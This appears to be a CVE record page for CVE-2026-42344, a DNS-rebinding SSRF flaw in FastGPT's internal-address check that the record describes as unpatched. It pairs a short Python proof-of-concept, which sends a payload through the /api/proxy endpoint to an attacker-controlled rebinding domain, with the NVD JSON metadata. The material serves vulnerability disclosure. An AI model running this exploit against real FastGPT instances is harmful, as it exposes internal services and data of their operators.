CVE-2026-42344

import requests # Target URL (Vulnerable FastGPT instance) target_url = "http://vulnerable-fastgpt-instance/api/proxy" # Attacker controlled domain pointing to a malicious DNS server # The DNS server is configured to return a public IP (e.g. 1.1.1.1) first, # then a private IP (e.g. 127.0.0.1) on subsequent queries (TTL=0). attacker_domain = "attacker-controlled-domain.com" payload = { "url": f"http://{attacker_domain}/sensitive-path" } try: print(f"Sending request to {target_url} with payload: {payload}") response = requests.post(target_url, json=payload, timeout=10) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-42344", "sourceIdentifier": "[email protected]", "published": "2026-05-08T23:16:37.177", "lastModified": "2026-05-11T19:16:23.907", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "FastGPT is an AI Agent building platform. In versions 4.14.11 and prior, FastGPT's isInternalAddress() function in packages/service/common/system/utils.ts is vulnerable to DNS rebinding (TOCTOU — Time-of-Check to Time-of-Use). The function resolves the hostname via dns.resolve4()/dns.resolve6() and checks resolved IPs against private ranges, but the actual HTTP request happens in a separate call with a new DNS resolution, allowing the DNS record to change between validation and fetch. At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://github.com/labring/FastGPT/security/advisories/GHSA-cc8x-jrqv-hmwh", "source": "[email protected]"}, {"url": "https://github.com/labring/FastGPT/security/advisories/GHSA-cc8x-jrqv-hmwh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}